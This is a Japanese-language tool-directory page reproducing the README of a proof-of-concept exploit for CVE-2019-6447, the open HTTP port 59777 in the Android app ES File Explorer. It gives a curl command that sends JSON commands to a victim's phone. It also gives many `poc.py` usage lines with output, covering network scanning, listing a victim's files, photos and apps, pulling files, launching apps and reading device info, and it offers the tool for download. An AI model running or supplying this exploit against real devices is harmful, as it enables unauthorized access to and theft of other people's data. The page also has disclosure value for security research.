Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ESFileExplorerOpenPortVuln — ES File Explorer オープンポート脆弱性 - CVE-2019-6447 | Kitploit
ツール/GitHubGitHub/fs0c131y/esfileexploreropenportvuln
Androidセキュリティ偵察脆弱性分析エクスプロイトウェブアプリケーション悪用データ流出情報収集モバイルセキュリティ
GitHubfs0c131y/esfileexploreropenportvuln

ESFileExplorerOpenPortVuln

ES File Explorer オープンポート脆弱性 - CVE-2019-6447

リポジトリを見る
678129567年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ウェブサイト

ES File Explorer オープンポート脆弱性 - CVE-2019-6447

Google Playの説明によると:

ES File Explorer (ファイルマネージャー)は、ローカルおよびネットワーク使用の両方に対応したフル機能のファイル(画像、音楽、動画、ドキュメント、アプリ)マネージャーです!世界中で5億人以上のユーザーがいるES File Explorer (ファイルマネージャー)は、Androidスマートフォンとファイルを効率的かつ効果的に管理し、データ費用なしでファイルを共有するのに役立ちます。

ユーザーがアプリを起動するたびに、HTTPサーバーが起動します。このサーバーはローカルでポート59777を開放します:

angler:/ # netstat -ap | grep com.estrongs
tcp6       0      0 :::59777                :::*                    LISTEN      5696/com.estrongs.android.pop

このポートで、攻撃者はターゲットにJSONペイロードを送信できます

curl --header "Content-Type: application/json" --request POST --data '{"command":"[my_awesome_cmd]"}' http://192.168.0.8:59777

これらのコマンドにより、被害者と同じローカルネットワークに接続されている攻撃者は、被害者の電話に関する多くの juicy な情報(デバイス情報、インストール済みアプリなど)を取得したり、被害者の電話からリモートでファイルを取得したり、被害者の電話でリモートでアプリを起動したりすることができます。

影響を受けるバージョン

4.1.9.7.4 以下

POCの機能

以下のProof Of Concept (POC)を使用すると、次のことが可能です:

  • 被害者デバイスのsdcard内のすべてのファイルをリスト表示
  • 被害者デバイスのすべての画像をリスト表示
  • 被害者デバイスのすべての動画をリスト表示
  • 被害者デバイスのすべての音声ファイルをリスト表示
  • 被害者デバイスにインストールされているすべてのアプリをリスト表示
  • 被害者デバイスにインストールされているすべてのシステムアプリをリスト表示
  • 被害者デバイスにインストールされているすべての電話アプリをリスト表示
  • 被害者デバイスのsdcardに保存されているすべてのapkファイルをリスト表示
  • 被害者デバイスにインストールされているすべてのアプリをリスト表示
  • 被害者デバイスのデバイス情報を取得
  • 被害者デバイスからファイルをプル
  • 任意のアプリを起動
  • 任意のアプリのアイコンを取得

デモ

Demo

使い方

$ python poc.py -g /sdcard/Android/media/com.google.android.talk/Ringtones/hangouts_incoming_call.ogg

$ python poc.py --cmd appPull --pkg com.tencent.mm

$ python poc.py --cmd getAppThumbnail --pkg com.tencent.mm

$ python poc.py --cmd appLaunch --pkg com.tencent.mm
{"result":"0"}

$ python poc.py --cmd getDeviceInfo
{"name":"Nexus 6P", "ftpRoot":"/sdcard", "ftpPort":"3721"}

$ python poc.py --cmd listAppsAll
{"packageName":"com.google.android.carriersetup", "label":"Carrier Setup", "version":"8.1.0", "versionCode":"27", "location":"/system/priv-app/CarrierSetup/CarrierSetup.apk", "size":"2462870", "status":"null", "mTime":"1230796800000"},
{"packageName":"com.android.cts.priv.ctsshim", "label":"com.android.cts.priv.ctsshim", "version":"8.1.0-4396705", "versionCode":"27", "location":"/system/priv-app/CtsShimPrivPrebuilt/CtsShimPrivPrebuilt.apk", "size":"22744", "status":"null", "mTime":"1230796800000"}

$ python poc.py --cmd listAppsPhone
{"packageName":"com.google.android.carriersetup", "label":"Carrier Setup", "version":"8.1.0", "versionCode":"27", "location":"/system/priv-app/CarrierSetup/CarrierSetup.apk", "size":"2462870", "status":"null", "mTime":"1230796800000"}

$ python poc.py --cmd listAppsSystem
{"packageName":"com.google.android.carriersetup", "label":"Carrier Setup", "version":"8.1.0", "versionCode":"27", "location":"/system/priv-app/CarrierSetup/CarrierSetup.apk", "size":"2462870", "status":"null", "mTime":"1230796800000"}

$ python poc.py --cmd listApps
{"packageName":"com.google.android.youtube", "label":"YouTube", "version":"13.50.52", "versionCode":"1350523400", "location":"/data/app/com.google.android.youtube-hg9X1FaylPbUXO1SaiFtkg==/base.apk", "size":"36860368", "status":"com.google.android.apps.youtube.app.application.backup.YouTubeBackupAgent", "mTime":"1545337705957"}

$ python poc.py --cmd listAppsSdcard

$ python poc.py --cmd listAudios
{"name":"hangouts_incoming_call.ogg", "time":"10/17/18 11:33:16 PM", "location":"/storage/emulated/0/Android/media/com.google.android.talk/Ringtones/hangouts_incoming_call.ogg", "duration":5000, "size":"74.63 KB (76,425 Bytes)", }

$ python poc.py --cmd listPics
{"name":"mmexport1546422097497.jpg", "time":"1/2/19 10:41:37 AM", "location":"/storage/emulated/0/tencent/MicroMsg/WeChat/mmexport1546422097497.jpg", "size":"38.80 KB (39,734 Bytes)", }

$ python poc.py --cmd listVideos

$ python poc.py --cmd listFiles

$ python poc.py --cmd listFiles --network 192.168.1.

$ python poc.py --cmd listFiles --ip 192.168.4.17

$ python poc.py list

######################
# Available Commands #
######################

listFiles: List all the files
listPics: List all the pictures
listVideos: List all the videos
listAudios: List all the audio files
listApps: List all the apps installed
listAppsSystem: List all the system apps
listAppsPhone: List all the phone apps
listAppsSdcard: List all the apk files in the sdcard
listAppsAll: List all the apps installed (system apps included)
getDeviceInfo: Get device info
appPull: Pull an app from the device. Package name parameter is needed
appLaunch: Launch an app. Package name parameter is needed
getAppThumbnail: Get the icon of an app. Package name parameter is needed

連絡先

Twitter Twitterでフォローしてください!また、私の仕事の一部を https://fs0c131y.com で見ることができます。

クレジット

@moonbocalからのヒントに基づき、調査とPOCは @fs0c131y によって❤️を込めて作成されました。

ツールをダウンロード